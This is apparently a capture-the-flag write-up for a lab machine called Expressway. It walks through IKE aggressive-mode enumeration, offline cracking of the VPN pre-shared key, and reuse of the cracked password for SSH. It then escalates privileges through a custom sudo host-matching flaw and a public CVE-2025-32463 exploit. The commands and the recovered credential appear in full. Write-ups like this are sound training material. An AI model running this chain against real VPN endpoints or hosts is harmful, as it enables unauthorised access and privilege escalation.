RECON
Port Scan
$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A sS -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelExternally no TCP ports open aside from 22 (SSH). So naturally we perform a UDP sweep.
UDP is TCP's slow, silent sibling—connectionless by design, maddening to enumerate reliably, and riddled with false negatives unless our tooling is finely tuned.
Here's an example invocation of udpx:
$ git clone https://github.com/nullt3r/udpx.git
$ cd udpx
$ go build ./cmd/udpx
$ sudo mv udpx /usr/local/bin/udpx
$ udpx -t $target_ip -c 128 -w 1000
__ ______ ____ _ __
/ / / / __ \/ __ \ |/ /
/ / / / / / / /_/ / /
/ /_/ / /_/ / ____/ |
\____/_____/_/ /_/|_|
v1.0.7, by @nullt3r
2025/09/20 16:33:27 [+] Starting UDP scan on 1 target(s)
2025/09/20 16:33:45 [*] 10.129.13.112:500 (ike)
2025/09/20 16:34:00 [+] Scan completedudpx found something juicy: UDP/500 (IKE).
USER
UDP port 500 typically maps to ISAKMP / IKE (IPsec VPN). Takeaways:
- This host is an IPsec VPN endpoint (IKEv1 or IKEv2).
- The responder may divulge vendor/version strings, identity values, supported crypto proposals, and — in IKEv1 Aggressive Mode — even usernames.
- Misconfiguration (weak PSKs, exposed Aggressive Mode, or malformed certificates) represents an actionable entry vector or an information-leak surface.
IKE
IKE (Internet Key Exchange) orchestrates the cryptographic associations used by IPsec. In plain terms: IKE is the handshake that lets two endpoints negotiate keys, algorithms, and identities so they can erect encrypted tunnels (ESP/AH).
Think of IKE as the ritual that creates the secret corridor; IPsec (ESP/AH) is the corridor itself.
IKE Scan
For fingerprinting and probing IKE, we can use ike-scan. It crafts IKE packets, elicits vendor/identity/proposal responses, and fingerprints the responder.
Installation:
# Debian/Ubuntu
sudo apt install -y ike-scan
# Arch
yay -S ike-scan
# (need fix though, see: https://aur.archlinux.org/packages/ike-scan)
# Build from github
git clone https://github.com/royhills/ike-scan.git
cd ike-scan
autoreconf --install
./configure --with-openssl
make -j"$(nproc)"
sudo make installInitial probe:
$ sudo ike-scan expressway.htb
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.112 Main Mode Handshake returned HDR=(CKY-R=1d432c635a2e8d64) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)IKEv1 — Main Mode: the target answered in Main Mode. No identities were leaked in cleartext by this handshake. But we've identified some weak algorithms:
- Enc=3DES: legacy symmetric cipher (weak by modern standards).
- Hash=SHA1: legacy HMAC; collision/weakness concerns exist.
- Group=2 (modp1024): 1024-bit DH — considered weak for high-security contexts.
- Auth=PSK: server expects a pre-shared key for authentication — central to our attacker model.
VID=... (XAUTH): vendor ID indicates XAUTH support. That means the VPN likely runs a two-step auth: PSK for IKE and then XAUTH username/password. If PSK is known, XAUTH becomes the next credential gate.
IKEv1 Phase overview:
- Phase 1 → establish IKE SA (agree algorithms, authenticate peers).
- Phase 2 (Quick Mode) → derive IPsec SAs (actual encrypted tunnels).
- Phase 1 modes:
- Main Mode → 6 messages; hides identity.
- Aggressive Mode → 3 messages; faster but leaks identity and enables offline PSK attacks.
Aggressive Mode is worth forcing because it often leaks identity material useful for PSK cracking:
$ sudo ike-scan -A expressway.htb
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.112 Aggressive Mode Handshake returned HDR=(CKY-R=10f501450cedfb8e) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, [email protected]) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)ID(Type=ID_USER_FQDN, [email protected])— actionable leak.KeyExchange(128 bytes) Nonce(32 bytes)— normal DH/nonce data; indicates the server will perform a DH-based key derivation.Hash(20 bytes)— IKE's hash; with PSK, attack workflows often capture data useful for offline PSK guessing.
Produce PSK cracking parameters with -P (writes aggressive-mode PSK blobs for offline cracking via psk-crack):
$ ike-scan -h
--pskcrack[=<f>] or -P[<f>] Crack aggressive mode pre-shared keys.
This option outputs the aggressive mode pre-shared key
(PSK) parameters for offline cracking using the
"psk-crack" program that is supplied with ike-scan.
You can optionally specify a filename, <f>, to write
the PSK parameters to. If you do not specify a filename
then the PSK parameters are written to standard output.
If you are using the short form of the option (-P)
then the value must immediately follow the option
letter with no spaces, e.g. -Pfile not -P file.
You can only specify a single target host if you use
this option.
This option is only applicable to IKE aggressive mode.
$ sudo ike-scan -A expressway.htb [email protected] -Pike.psk
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.112 Aggressive Mode Handshake returned HDR=(CKY-R=8408e5d22149f23f) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, [email protected]) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)
$ tail ike.psk
bc859f8dc4a9e13eb9005f4c8837adcc1d9ae7a994f101f02a655305fa74f5b3749c13b308743811c37896b8ba1632058983ecd64a6da01ea8a780b45e31d486880c68028720cad28e5c341cf9cd9fc2a4d0cc05fd774937b43fb3186a0cd91dfab698c8643b1b693f20782a86db22aaa96a35bdf260fee61ae4488b04e96a2c:6c4ccc2b450929e68527c985be032635a885ce002b21ae9785424e55d3462b1d4898724e751ce9f111c994152f627699caba4e0d7b80b13a94841f1515fe6bd3fbe3ea13193abfde73c260a9d98bfdcaa1cf0c4763f27a23ac9e6368ec64cca68128f48b5fa62b91acdf44d088653841d3cc3d00707823c6e061d199bba30de7:8408e5d22149f23f:02df802fb6f5df66:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:9c4cb226f57fc96bcfee3b78bfe92ab2463b982e:aec8b6a180a4f3d9293c483b9705c9df35e01f24486b2b2f3e8774a6019e6bfd:9157243c333a25d603bf588a5c8a9c0bc966e3b0Forcing Aggressive Mode while supplying the observed identity ([email protected]) yields the responder's authentication hash — the artifact needed for offline PSK recovery attempts.
PSK Cracking
A PSK (Pre-Shared Key) is a symmetric secret shared by both VPN endpoints ahead of time (think: a password both sides know).
We forced the IKE responder into Aggressive Mode and saved the aggressive-mode PSK parameters to ike.psk (short form -P must be attached: -Pike.psk, or use --pskcrack=ike.psk). The file is a colon-delimited blob:
g_xr : g_xi : cky_r : cky_i : sai_b : idir_b : ni_b : nr_b : hash_rThe auth hash is only the last field (hash_r) — in our case 9157243c333a25d603bf588a5c8a9c0bc966e3b0 which is 40 hex chars = 20 bytes (HMAC-SHA1). Use psk-crack (shipped with ike-scan) to test PSK candidates with our wordlists offline:
$ psk-crack -d ~/wordlists/rockyou.txt ike.psk
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash 9157243c333a25d603bf588a5c8a9c0bc966e3b0
Ending psk-crack: 8045039 iterations in 4.278 seconds (1880409.57 iterations/sec)We recovered the Pre-Shared Key (freakingrockstarontheroad) used by the IKEv1 endpoint. It generally allows us for an XAUTH (username/password) or create an authenticated VPN session.
Password Reusing
After retrieving a plain-text password string, it's cheap to test it against known users like [email protected] on remote logon:

User flag secured.
Note: the
ikeaccount belongs to an unusual groupproxy— a detail worth chasing during post-exploitation and lateral-movement enumeration.
ROOT
Internal Enum
Group: proxy
Foothold as ike, with an anomalous secondary group: proxy. That's signal, not noise.
Confirmed:
ike@expressway:~$ getent group proxy
proxy:x:13:ikeRogue Sudo
Standard hygiene: enumerate sudo.
ike@expressway:~$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
For security reasons, the password you type will not be visible.
Password:
Sorry, user ike may not run sudo on expressway.This weird verbose pre-prompt “lecture” and custom denial suggest non-default sudoers behavior. Verify the binary:
ike@expressway:~$ which sudo
/usr/local/bin/sudo
ike@expressway:~$ ls -lh /usr/local/bin/sudo
-rwsr-xr-x 1 root root 1023K Aug 29 15:18 /usr/local/bin/sudoHere, the resolver hits /usr/local/bin/sudo first — a bespoke setuid ELF ~1 MB in size. So we see this is a deliberate replacement.
I happen to be intimately familiar with this binary—I authored a comprehensive research series on fuzzing
sudo. The system-wide canonical build resides at/usr/bin/sudo(~200–300 KB, setuid root):ike@expressway:~$ ls -lh /usr/bin/sudo -rwsr-xr-x 1 root root 276K Jun 27 2023 /usr/bin/sudo
And because /usr/local/bin appears in $PATH before /usr/bin, our shell calls this replacement first.
Bonus: it's not stripped — prime for reversing like plain-text with debug symbols:
ike@expressway:~$ file /usr/bin/sudo
/usr/bin/sudo: setuid ELF 64-bit LSB pie executable, ..., stripped
ike@expressway:~$ file /usr/local/bin/sudo
/usr/local/bin/sudo: setuid ELF 64-bit LSB pie executable, ..., with debug_info, not strippedProvenance:
ike@expressway:~$ stat /usr/local/bin/sudo
File: /usr/local/bin/sudo
Size: 1047040 Blocks: 2048 IO Block: 4096 regular file
Device: 8,1 Inode: 275230 Links: 1
Access: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2025-09-21 02:26:40.655175955 +0100
Modify: 2025-08-29 15:18:58.396936868 +0100
Change: 2025-08-29 15:18:58.406629045 +0100
Birth: 2025-08-29 15:18:58.394043585 +0100Freshly planted. Likely the real escalation vector.
LinPEAS
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 ::1:25 :::* LISTEN -
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
strace Not Found
...
-rwsr-xr-x 1 root root 1023K Aug 29 15:18 /usr/local/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 276K Jun 27 2023 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerableLocal SMTP on 25 — someone's accepting mail.
Squid Logs
proxy typically maps to HTTP proxy daemons (Squid, tinyproxy). That group often owns configs, caches, and logs. Check ACL reach:
ike@expressway:~$ ls -ld /etc/squid* /var/spool/squid* /var/log/squid* /var/cache/squid* 2>/dev/null
drwxr-xr-x 3 root root 4096 Sep 16 16:02 /etc/squid
drwxr-xr-x 2 proxy proxy 4096 Sep 16 16:02 /var/log/squid
drwxr-xr-x 2 proxy proxy 4096 Sep 16 16:02 /var/spool/squidGroup membership (proxy) allows us to read sensitive Squid logs under /var/log/squid.
A Squid access log records every request the proxy handled (or denied), telling us what clients asked the proxy to fetch:
ike@expressway:~$ ls -l /var/log/squid
total 20
-rw-r----- 1 proxy proxy 4778 Jul 23 01:19 access.log.1
-rw-r----- 1 proxy proxy 20 Jul 22 19:32 access.log.2.gz
-rw-r----- 1 proxy proxy 2192 Jul 23 01:47 cache.log.1
-rw-r----- 1 proxy proxy 941 Jul 23 01:47 cache.log.2.gz
ike@expressway:~$ cat /var/log/squid/access.log.1
...
1753229688.847 0 192.168.68.50 NONE_NONE/400 3914 GET /.git/HEAD - HIER_NONE/- text/html
1753229688.847 0 192.168.68.50 NONE_NONE/400 3926 GET /tasktracker.jsp - HIER_NONE/- text/html
1753229688.847 0 192.168.68.50 NONE_NONE/000 0 - error:transaction-end-before-headers - HIER_NONE/- -
1753229688.902 0 192.168.68.50 NONE_NONE/400 3896 PROPFIND / - HIER_NONE/- text/html
1753229688.902 0 192.168.68.50 NONE_NONE/400 3896 OPTIONS / - HIER_NONE/- text/html
1753229688.902 0 192.168.68.50 NONE_NONE/400 3914 GET /rs-status - HIER_NONE/- text/html
1753229688.902 0 192.168.68.50 TCP_DENIED/403 3807 GET http://www.google.com/ - HIER_NONE/- text/html
1753229688.902 0 192.168.68.50 NONE_NONE/400 3902 POST /sdk - HIER_NONE/- text/html
1753229688.902 0 192.168.68.50 NONE_NONE/400 3896 GET / - HIER_NONE/- text/html
1753229688.902 0 192.168.68.50 NONE_NONE/000 0 - error:transaction-end-before-headers - HIER_NONE/- -
1753229688.902 0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html
...The standalone offramp.expressway.htb host appears in TCP denied requests — concrete evidence a client attempted to reach that internal vhost. Mark it as a pivot target for the privilege chain.
PE1. Weird Sudo
Since this unusual sudo is a one-off build, the logical pivot is to hunt for configs, plugins, and helper libs tied to it.
The drop installed under /usr/local, so we sweep:
ike@expressway:~$ ls -la /usr/local/etc
total 8
drwxr-xr-x 2 root root 4096 Dec 19 2024 .
drwxr-xr-x 11 root root 4096 Aug 29 15:18 ..
ike@expressway:~$ ls -la /usr/local/libexec/sudo
total 3116
drwxr-xr-x 2 root root 4096 Aug 29 15:18 .
drwxr-xr-x 3 root root 4096 Aug 29 15:18 ..
-rw-r--r-- 1 root root 984 Aug 29 15:18 audit_json.la
-rw-r--r-- 1 root root 65424 Aug 29 15:18 audit_json.so
-rw-r--r-- 1 root root 984 Aug 29 15:18 group_file.la
-rw-r--r-- 1 root root 28408 Aug 29 15:18 group_file.so
-rw-r--r-- 1 root root 965 Aug 29 15:18 libsudo_util.la
lrwxrwxrwx 1 root root 21 Aug 29 15:18 libs udo_util.so -> libsudo_util.so.0.0.0
lrwxrwxrwx 1 root root 21 Aug 29 15:18 libsudo_util.so.0 -> libsudo_util.so.0.0.0
-rwxr-xr-x 1 root root 484544 Aug 29 15:18 libsudo_util.so.0.0.0
-rw-r--r-- 1 root root 982 Aug 29 15:18 sudoers.la
-rw-r--r-- 1 root root 2224656 Aug 29 15:18 sudoers.so
-rw-r--r-- 1 root root 1008 Aug 29 15:18 sudo_intercept.la
-rw-r--r-- 1 root root 293664 Aug 29 15:18 sudo_intercept.so
-rw-r--r-- 1 root root 931 Aug 29 15:18 sudo_noexec.la
-rw-r--r-- 1 root root 23288 Aug 29 15:18 sudo_noexec.so
-rw-r--r-- 1 root root 996 Aug 29 15:18 system_group.la
-rw-r--r-- 1 root root 20760 Aug 29 15:18 system_group.soWe exfil the binary and its policy plugin (sudoers.so) for reversing:
scp [email protected]:/usr/local/bin/sudo .
scp [email protected]:/usr/local/libexec/sudo/sudoers.so .
# freakingrockstarontheroadDecompiling sudoers.so, we immediately spot the banner messages:

The infamous “may not run” denial line confirms custom formatting logic:

Additionally, it seems running sudo ./<cmd> leads us to a different execution flow:

The denial message changed. These responses are printed after host matching:

Uncover host-aware code paths and PAM integration:
'Matching Defaults entries for %s on %s:'
'User %s may run the following commands on %s:'
'User %s is not allowed to run sudo on %s.'
pam_set_item(... PAM_RHOST ...)
pam_set_item(... PAM_TTY ...)
unable to authenticate '%s'Confirms policy interacts with PAM and passes RHOST—so the %s format string specifier for printf showed expressway as the hostname in previous response.
And we see machine author is trolling with memes:

In conclusion: there are dozens of input vectors baked into this trolling custom sudo policy; many arguments produce atypical control paths.
The simplest attack path comes into our sight — every denial is logged and triggers an alert (hence SMTP on port 25):

Recall the Squid access log contains a tell-tale entry:
192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/htmlCorrelating that with sudo behavior clearly reveals the bug:
- When we ran
sudo <cmd>, we were refused with amay not runcustom message and reject. - When we ran
sudo ./<cmd>, it explicitly replied that we arenot allowed to runthis on theexpresswayhost.
So what if we ran sudo ./<cmd> by specifying a different host like the suspicious one recorded in the Squid log?
Try it out. And we are then "allowed to" execute arbitrary command with the rogue sudo:

Rooted.
Probe deeper into this trolling binary and a multitude of latent exploitation vectors will unfurl.
PE2. CVE-2025-32463
I've actually recognized the binary as immediately vulnerable to CVE-2025-32463 — the exploitable code paths jumped out at first glance because the thorough research I've done into sudo.
And the sudo version — corroborated by LinPEAS indicators — is also trivial to fingerprint:
ike@expressway:~$ sudo -V
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17I won't re-run the full forensic autopsy here — the long-form write-up 30K+ word post contains the full exploit anatomy against Linux NSS service. Practically, pull a public PoC and stage it:
git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git && cd CVE-2025-32463_chwoot
scp sudo-chwoot.sh [email protected]:/dev/shm
# freakingrockstarontheroadDeploy the PoC on the host and the vulnerability yields a straightforward path to an elevated shell:


Comments | NOTHING